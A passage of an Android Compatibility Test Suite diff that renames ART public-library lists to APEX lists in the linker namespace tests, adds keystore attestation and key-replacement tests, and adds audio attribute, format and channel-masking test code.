       if (type != "32" && type != "64") {
-        *error_msg += "\n---Illegal value at end of line (only 32 or 64 allowed): " + soname;
+        *error_msgs += "\n---Illegal value at end of line (only 32 or 64 allowed): " + soname;
         success = false;
         continue;
       }
@@ -332,21 +367,21 @@
         JNIEnv* env,
         jclass clazz,
         jobjectArray java_system_public_libraries,
-        jobjectArray java_runtime_public_libraries) {
+        jobjectArray java_apex_public_libraries) {
   bool success = true;
   std::vector<std::string> errors;
-  std::string error_msg;
+  std::string error_msgs;
   std::unordered_set<std::string> system_public_libraries;
   if (!jobject_array_to_set(env, java_system_public_libraries, &system_public_libraries,
-                            &error_msg)) {
+                            &error_msgs)) {
     success = false;
-    errors.push_back("Errors in system public library file:" + error_msg);
+    errors.push_back("Errors in system public library list:" + error_msgs);
   }
-  std::unordered_set<std::string> runtime_public_libraries;
-  if (!jobject_array_to_set(env, java_runtime_public_libraries, &runtime_public_libraries,
-                            &error_msg)) {
+  std::unordered_set<std::string> apex_public_libraries;
+  if (!jobject_array_to_set(env, java_apex_public_libraries, &apex_public_libraries,
+                            &error_msgs)) {
     success = false;
-    errors.push_back("Errors in runtime public library file:" + error_msg);
+    errors.push_back("Errors in APEX public library list:" + error_msgs);
   }
 
   // Check the system libraries.
@@ -362,8 +397,8 @@
   // /apex/com.android.*/lib*.
   std::unordered_set<std::string> system_library_search_paths;
 
-  for (const auto& path : library_search_paths) {
-    for (const auto& regex : kSystemPathRegexes) {
+  for (const std::string& path : library_search_paths) {
+    for (const std::regex& regex : kSystemPathRegexes) {
       if (std::regex_match(path, regex)) {
         system_library_search_paths.insert(path);
         break;
@@ -374,7 +409,7 @@
   // These paths should be tested too - this is because apps may rely on some
   // libraries being available there.
   system_library_search_paths.insert(kSystemLibraryPath);
-  system_library_search_paths.insert(kArtApexLibraryPath);
+  system_library_search_paths.insert(kApexLibraryPaths.begin(), kApexLibraryPaths.end());
 
   if (!check_path(env, clazz, kSystemLibraryPath, system_library_search_paths,
                   system_public_libraries,
@@ -387,17 +422,19 @@
   // don't complain about that in that case.
   bool check_absence = !android::base::GetBoolProperty("ro.vndk.lite", false);
 
-  // Check the runtime libraries.
-  if (!check_path(env, clazz, kArtApexLibraryPath, {kArtApexLibraryPath},
-                  runtime_public_libraries,
-                  /*test_system_load_library=*/true,
-                  check_absence, &errors)) {
-    success = false;
+  // Check the APEX libraries.
+  for (const std::string& apex_path : kApexLibraryPaths) {
+    if (!check_path(env, clazz, apex_path, {apex_path},
+                    apex_public_libraries,
+                    /*test_system_load_library=*/true,
+                    check_absence, &errors)) {
+      success = false;
+    }
   }
 
   if (!success) {
     std::string error_str;
-    for (const auto& line : errors) {
+    for (const std::string& line : errors) {
       error_str += line + '\n';
     }
     return env->NewStringUTF(error_str.c_str());
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 796fbd8..1f4f351 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -63,7 +63,6 @@
         "libmediandk.so",
         "libm.so",
         "libnativewindow.so",
-        "libneuralnetworks.so",
         "libOpenMAXAL.so",
         "libOpenSLES.so",
         "libRS.so",
@@ -78,12 +77,16 @@
       "libclang_rt.hwasan-aarch64-android.so"
     };
 
-    // Libraries listed in public.libraries.android.txt, located in /apex/com.android.art/${LIB}
-    private final static String[] PUBLIC_ART_LIBRARIES = {
+    // Libraries listed in public.libraries.android.txt that are located in APEXes
+    private final static String[] PUBLIC_APEX_LIBRARIES = {
+        // Libraries in /apex/com.android.i18n/${LIB}
+        "libicu.so",
         "libicui18n.so",
         "libicuuc.so",
+        // Libraries in /apex/com.android.art/${LIB}
         "libnativehelper.so",
-        "libsigchain.so"
+        // Libraries in /apex/com.android.neuralnetworks/${LIB}
+        "libneuralnetworks.so",
     };
 
     // The grey-list.
@@ -185,13 +188,13 @@
 
     public static String runAccessibilityTest() throws IOException {
         List<String> systemLibs = new ArrayList<>();
-        List<String> artApexLibs = new ArrayList<>();
+        List<String> apexLibs = new ArrayList<>();
 
         Collections.addAll(systemLibs, PUBLIC_SYSTEM_LIBRARIES);
         Collections.addAll(systemLibs, OPTIONAL_SYSTEM_LIBRARIES);
-	// System path could contain public ART libraries on foreign arch. http://b/149852946
+        // System path could contain public ART libraries on foreign arch. http://b/149852946
         if (isForeignArchitecture()) {
-            Collections.addAll(systemLibs, PUBLIC_ART_LIBRARIES);
+            Collections.addAll(systemLibs, PUBLIC_APEX_LIBRARIES);
         }
 
         if (InstrumentationRegistry.getContext().getPackageManager().
@@ -199,7 +202,7 @@
             systemLibs.add(WEBVIEW_PLAT_SUPPORT_LIB);
         }
 
-        Collections.addAll(artApexLibs, PUBLIC_ART_LIBRARIES);
+        Collections.addAll(apexLibs, PUBLIC_APEX_LIBRARIES);
 
         // Check if /system/etc/public.libraries-company.txt and /product/etc/public.libraries
         // -company.txt files are well-formed. The libraries however are not loaded for test;
@@ -232,11 +235,11 @@
         }
 
         return runAccessibilityTestImpl(systemLibs.toArray(new String[systemLibs.size()]),
-                                        artApexLibs.toArray(new String[artApexLibs.size()]));
+                                        apexLibs.toArray(new String[apexLibs.size()]));
     }
 
     private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
-                                                          String[] publicRuntimeLibs);
+                                                          String[] publicApexLibs);
 
     private static void invokeIncrementGlobal(Class<?> clazz) throws Exception {
         clazz.getMethod("incrementGlobal").invoke(null);
@@ -385,7 +388,7 @@
         String error = null;
         List<String> publicLibs = new ArrayList<>();
         Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
-        Collections.addAll(publicLibs, PUBLIC_ART_LIBRARIES);
+        Collections.addAll(publicLibs, PUBLIC_APEX_LIBRARIES);
         for (String lib : publicLibs) {
             String result = LinkerNamespacesHelper.tryDlopen(lib);
             if (result != null) {
diff --git a/tests/tests/jvmti/attaching/AndroidTest.xml b/tests/tests/jvmti/attaching/AndroidTest.xml
index fc82f9d..9fb700a 100644
--- a/tests/tests/jvmti/attaching/AndroidTest.xml
+++ b/tests/tests/jvmti/attaching/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/tests/tests/keystore/AndroidTest.xml b/tests/tests/keystore/AndroidTest.xml
index da74c93..4d54fb8 100644
--- a/tests/tests/keystore/AndroidTest.xml
+++ b/tests/tests/keystore/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsKeystoreTestCases.apk" />
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 010773f..9b414ff 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -18,6 +18,7 @@
 
 import android.content.pm.PackageManager;
 import android.security.KeyPairGeneratorSpec;
+import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.AndroidTestCase;
@@ -25,6 +26,8 @@
 import android.test.suitebuilder.annotation.LargeTest;
 import android.util.Log;
 
+import org.junit.Assert;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.OutputStream;
@@ -61,6 +64,7 @@
 import javax.crypto.BadPaddingException;
 import javax.crypto.Cipher;
 import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.KeyGenerator;
 import javax.crypto.Mac;
 import javax.crypto.SecretKey;
 import javax.security.auth.x500.X500Principal;
@@ -1775,6 +1779,43 @@
         mKeyStore.setEntry(TEST_ALIAS_1, entry, null);
     }
 
+    /*
+     * Replacing an existing secret key with itself should be a no-op.
+     */
+    public void testKeyStore_SetKeyEntry_ReplacedWithSameGeneratedSecretKey()
+            throws Exception {
+        final String plaintext = "My awesome plaintext message!";
+        final String algorithm = "AES/GCM/NoPadding";
+
+        final KeyGenerator generator = KeyGenerator.getInstance("AES", "AndroidKeyStore");
+        final KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(TEST_ALIAS_1,
+                KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setKeySize(256)
+                .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
+                .build();
+        generator.init(spec);
+        final SecretKey key = generator.generateKey();
+
+        Cipher cipher = Cipher.getInstance(algorithm);
+        cipher.init(Cipher.ENCRYPT_MODE, key);
+        AlgorithmParameters params = cipher.getParameters();
+        final byte[] ciphertext = cipher.doFinal(plaintext.getBytes());
+
+        mKeyStore.load(null, null);
+
+        // This should succeed.
+        mKeyStore.setKeyEntry(TEST_ALIAS_1, key, null, null);
+        // And it should not change the key under TEST_ALIAS_1. And what better way to test
+        // then to use it on some cipher text generated with that key.
+        final Key key2 = mKeyStore.getKey(TEST_ALIAS_1, null);
+        cipher = Cipher.getInstance(algorithm);
+        cipher.init(Cipher.DECRYPT_MODE, key2, params);
+        byte[] plaintext2 = cipher.doFinal(ciphertext);
+        Assert.assertArrayEquals("The plaintext2 should match the original plaintext.",
+                plaintext2, plaintext.getBytes());
+    }
+
     public void testKeyStore_Size_Unencrypted_Success() throws Exception {
         mKeyStore.load(null, null);
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
index 9101f3b..caa18a0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
@@ -35,6 +35,10 @@
     };
 
     public void testRsaKeyAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         for (byte[] challenge : ATTESTATION_CHALLENGES) {
             for (int keySize : RSA_KEY_SIZES) {
                 measure(new KeystoreAttestationMeasurable(
@@ -45,6 +49,10 @@
     }
 
     public void testEcKeyAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         for (byte[] challenge : ATTESTATION_CHALLENGES) {
             for (int curve : EC_CURVES) {
                 measure(new KeystoreAttestationMeasurable(
diff --git a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
index 3919f90..de60e37 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
@@ -43,12 +43,6 @@
     private void assertNONEwithECDSATruncatesInputToFieldSize(KeyPair keyPair)
             throws Exception {
         int keySizeBits = TestUtils.getKeySizeBits(keyPair.getPublic());
-        if (keySizeBits == 521) {
-            /*
-             * Skip P521 test until b/184307265 is fixed.
-             */
-            return;
-        }
         byte[] message = new byte[(keySizeBits * 3) / 8];
         for (int i = 0; i < message.length; i++) {
             message[i] = (byte) (i + 1);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 5a3b712..e81e6f4 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -159,6 +159,10 @@
 
     @RequiresDevice
     public void testEcAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
@@ -212,6 +216,10 @@
     }
 
     public void testEcAttestation_TooLargeChallenge() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
             try {
@@ -266,6 +274,10 @@
     @RestrictedBuildTest
     @RequiresDevice
     public void testEcAttestation_DeviceLocked() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
@@ -426,6 +438,10 @@
 
     @RequiresDevice
     public void testRsaAttestation() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
@@ -488,6 +504,10 @@
     }
 
     public void testRsaAttestation_TooLargeChallenge() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         boolean[] devicePropertiesAttestationValues = {true, false};
         for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
             try {
@@ -542,6 +562,10 @@
     @RestrictedBuildTest
     @RequiresDevice  // Emulators have no place to store the needed key
     public void testRsaAttestation_DeviceLocked() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
 
@@ -936,27 +960,34 @@
 
     private void checkValidityPeriod(Attestation attestation, Date startTime,
             boolean includesValidityDates) {
-        AuthorizationList validityPeriodList;
-        AuthorizationList nonValidityPeriodList;
-        if (attestation.getTeeEnforced().getCreationDateTime() != null) {
-            validityPeriodList = attestation.getTeeEnforced();
-            nonValidityPeriodList = attestation.getSoftwareEnforced();
-        } else {
-            validityPeriodList = attestation.getSoftwareEnforced();
-            nonValidityPeriodList = attestation.getTeeEnforced();
-        }
+        AuthorizationList validityPeriodList = attestation.getSoftwareEnforced();
+        AuthorizationList nonValidityPeriodList = attestation.getTeeEnforced();
 
-        if (attestation.getKeymasterVersion() == 2) {
-            Date creationDateTime = validityPeriodList.getCreationDateTime();
+        // A bug in Android S leads Android S devices with KeyMint1 not to add a creationDateTime.
+        boolean creationDateTimeBroken =
+            Build.VERSION.SDK_INT == Build.VERSION_CODES.S &&
+            attestation.getKeymasterVersion() == Attestation.KM_VERSION_KEYMINT_1;
 
-            assertNotNull(creationDateTime);
+        if (!creationDateTimeBroken) {
             assertNull(nonValidityPeriodList.getCreationDateTime());
 
-            // We allow a little slop on creation times because the TEE/HAL may not be quite synced
-            // up with the system.
-            assertTrue("Test start time (" + startTime.getTime() + ") and key creation time (" +
-                    creationDateTime.getTime() + ") should be close",
-                    Math.abs(creationDateTime.getTime() - startTime.getTime()) <= 2000);
+            Date creationDateTime = validityPeriodList.getCreationDateTime();
+
+            boolean requireCreationDateTime =
+                attestation.getKeymasterVersion() >= Attestation.KM_VERSION_KEYMINT_1;
+
+            if (requireCreationDateTime || creationDateTime != null) {
+                assertNotNull(creationDateTime);
+
+                assertTrue("Test start time (" + startTime.getTime() + ") and key creation time (" +
+                        creationDateTime.getTime() + ") should be close",
+                        Math.abs(creationDateTime.getTime() - startTime.getTime()) <= 2000);
+
+                Date now = new Date();
+                assertTrue("Key creation time (" + creationDateTime.getTime() + ") must be now (" +
+                        now.getTime() + ") or earlier.",
+                        now.getTime() >= creationDateTime.getTime());
+            }
         }
 
         if (includesValidityDates) {
@@ -1084,7 +1115,7 @@
                     assertThat("Software KM is version 3", attestation.getKeymasterVersion(),
                             is(3));
                     assertThat(softwareEnforced.getOsVersion(), is(systemOsVersion));
-                    checkSystemPatchLevel(teeEnforced.getOsPatchLevel(), systemPatchLevel);
+                    checkSystemPatchLevel(softwareEnforced.getOsPatchLevel(), systemPatchLevel);
                 }
 
                 assertNull("Software attestation cannot provide root of trust",
diff --git a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
index aeb3ad6..4efa171 100644
--- a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
+++ b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.pm.FeatureInfo;
+import android.os.Build;
 import android.os.SystemProperties;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
@@ -1080,4 +1081,8 @@
         new SecureRandom().nextBytes(message);
         return message;
     }
+
+    public static boolean isAttestationSupported() {
+        return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
+    }
 }
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
index 08f47fd..01661a5 100644
--- a/tests/tests/libcoreapievolution/AndroidTest.xml
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreApiEvolutionTestCases.apk" />
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index c90b702..763ce25 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreFileIOTestCases.apk" />
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index 94c1134..3fdc075 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -21,6 +21,7 @@
          See source.android.com/devices/tech/admin/multi-user#user_types -->
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreLegacy22TestCases.apk" />
diff --git a/tests/tests/libnativehelper/AndroidTest.xml b/tests/tests/libnativehelper/AndroidTest.xml
index 0b34dcb..d6ddf78 100644
--- a/tests/tests/libnativehelper/AndroidTest.xml
+++ b/tests/tests/libnativehelper/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="libnativehelper" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/match_flags/AndroidTest.xml b/tests/tests/match_flags/AndroidTest.xml
index a5fadab..22cc54d 100644
--- a/tests/tests/match_flags/AndroidTest.xml
+++ b/tests/tests/match_flags/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index a94a1b4..889994e 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -36,6 +36,7 @@
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <uses-permission android:name="android.permission.VIBRATE"/>
 
@@ -172,7 +173,7 @@
     </application>
 
     <uses-sdk android:minSdkVersion="29"
-         android:targetSdkVersion="29"/>
+         android:targetSdkVersion="31"/>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
          android:targetPackage="android.media.cts"
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index fa3a0cb..1809ce3 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
         <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
         <option name="set-test-harness" value="false" />
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index f4e86eb..a1feb9a 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -165,6 +165,27 @@
         assertEquals(AudioAttributes.USAGE_MEDIA, getSystemUsage(attributes));
     }
 
+    public void testSpatializationAttr() {
+        for (int virtBehavior : new int[] { AudioAttributes.SPATIALIZATION_BEHAVIOR_AUTO,
+                                            AudioAttributes.SPATIALIZATION_BEHAVIOR_NEVER}) {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setUsage(AudioAttributes.USAGE_MEDIA)
+                    .setSpatializationBehavior(virtBehavior)
+                    .build();
+            assertEquals("Spatialization behavior doesn't match", virtBehavior,
+                    attributes.getSpatializationBehavior());
+        }
+
+        for (boolean isVirtualized : new boolean[] { true, false }) {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setUsage(AudioAttributes.USAGE_MEDIA)
+                    .setIsContentSpatialized(isVirtualized)
+                    .build();
+            assertEquals("Is content virtualized doesn't match", isVirtualized,
+                    attributes.isContentSpatialized());
+        }
+    }
+
     // -----------------------------------------------------------------
     // Capture policy tests
     // ----------------------------------
@@ -201,6 +222,47 @@
         assertEquals(attr1, attr2);
     }
 
+    /**
+     * Test AudioAttributes Builder error handling.
+     *
+     * @throws Exception
+     */
+    public void testAudioAttributesBuilderError() throws Exception {
+        final int BIGNUM = Integer.MAX_VALUE;
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setContentType(BIGNUM)
+                    .build();
+        });
+
+        // TODO(b/207021564): This should throw IAE in AudioAttributes.Builder.
+        //assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setFlags(BIGNUM)
+                    .build();
+        //});
+
+        // TODO(b/207016008): This should throw IAE in AudioAttributes.Builder.
+        //assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setLegacyStreamType(BIGNUM)
+                    .build();
+        //});
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setSpatializationBehavior(BIGNUM)
+                    .build();
+        });
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioAttributes.Builder()
+                    .setUsage(BIGNUM)
+                    .build();
+        });
+    }
+
     // -----------------------------------------------------------------
     // audio_policy_configuration.xsd converter tests
     // ----------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index e7b59a3..07cad2e 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import static org.testng.Assert.assertThrows;
+
 import android.media.AudioFormat;
 import android.os.Parcel;
 
@@ -233,16 +235,19 @@
                 {AudioFormat.CHANNEL_OUT_5POINT1, 6},
                 {AudioFormat.CHANNEL_OUT_5POINT1POINT2, 8},
                 {AudioFormat.CHANNEL_OUT_7POINT1_SURROUND, 8},
+                {AudioFormat.CHANNEL_OUT_7POINT1POINT2, 10},
                 {AudioFormat.CHANNEL_OUT_5POINT1POINT4, 10},
                 {AudioFormat.CHANNEL_OUT_7POINT1POINT2, 10},
                 {AudioFormat.CHANNEL_OUT_7POINT1POINT4, 12},
+                {AudioFormat.CHANNEL_OUT_9POINT1POINT4, 14},
                 {AudioFormat.CHANNEL_OUT_13POINT_360RA, 13},
+                {AudioFormat.CHANNEL_OUT_9POINT1POINT6, 16},
                 {AudioFormat.CHANNEL_OUT_22POINT2, 24},
         };
         for (int[] pair : maskCount) {
             assertEquals("Mask " + Integer.toHexString(pair[0])
-                    + " should have " + pair[1] + " bits set",
-                    Integer.bitCount(pair[0]), pair[1]);
+                    + " should have " + pair[1] + " bits set#",
+                    /*expected*/ pair[1], /*actual*/ Integer.bitCount(pair[0]));
         }
 
         // Check channel position masks that are a subset of other masks.
@@ -268,7 +273,38 @@
                 AudioFormat.CHANNEL_OUT_7POINT1POINT4));
         assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1POINT4,
                 AudioFormat.CHANNEL_OUT_22POINT2));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_7POINT1POINT4,
+                AudioFormat.CHANNEL_OUT_9POINT1POINT4));
+        assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_9POINT1POINT4,
+                AudioFormat.CHANNEL_OUT_9POINT1POINT6));
         assertTrue(subsetOf(AudioFormat.CHANNEL_OUT_13POINT_360RA,
                 AudioFormat.CHANNEL_OUT_22POINT2));
     }
+
+    /**
+     * Test AudioFormat Builder error handling.
+     *
+     * @throws Exception
+     */
+    public void testAudioFormatBuilderError() throws Exception {
+        final int BIGNUM = Integer.MAX_VALUE;
+
+        // Note: setChannelMask() and setChannelIndexMask() are
+        // validated when used, i.e. in AudioTrack and AudioRecord.
+
+        assertThrows(IllegalArgumentException.class, () -> {
+            new AudioFormat.Builder()
+                    .setEncoding(BIGNUM)
+                    .build();
+        });
+
+        // Sample rate out of bounds. These cases caught in AudioFormat.
+        for (int sampleRate : new int[] {-BIGNUM, -1, BIGNUM}) {
+            assertThrows(IllegalArgumentException.class, () -> {
+                new AudioFormat.Builder()
+                        .setSampleRate(sampleRate)
+                        .build();
+            });
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/AudioHelper.java b/tests/tests/media/src/android/media/cts/AudioHelper.java
index ccd317d..bfed250 100644
--- a/tests/tests/media/src/android/media/cts/AudioHelper.java
+++ b/tests/tests/media/src/android/media/cts/AudioHelper.java
@@ -98,6 +98,79 @@
     }
 
     /**
+     * Returns a consecutive bit mask starting from the 0th bit indicating which channels
+     * are active, used for maskArray below.
+     *
+     * @param channelMask the channel mask for audio data.
+     * @param validMask the valid channels to permit (should be a subset of channelMask) but
+     *                  not checked.
+     * @return an integer whose consecutive bits are set for the channels that are permitted.
+     */
+    private static int packMask(int channelMask, int validMask) {
+        final int channels = Integer.bitCount(channelMask);
+        if (channels == 0) {
+            throw new IllegalArgumentException("invalid channel mask " + channelMask);
+        }
+        int packMask = 0;
+        for (int i = 0; i < channels; ++i) {
+            final int lowbit = channelMask & -channelMask;
+            packMask |= (validMask & lowbit) != 0 ? (1 << i) : 0;
+            channelMask -= lowbit;
+        }
+        return packMask;
+    }
+
+    /**
+     * Zeroes out channels in an array of audio data for testing.
+     *
+     * @param array of audio data.
+     * @param channelMask representation for the audio data.
+     * @param validMask which channels are valid (other channels will be zeroed out).  A subset
+     *                  of channelMask.
+     */
+    public static void maskArray(byte[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    public static void maskArray(short[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    public static void maskArray(float[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
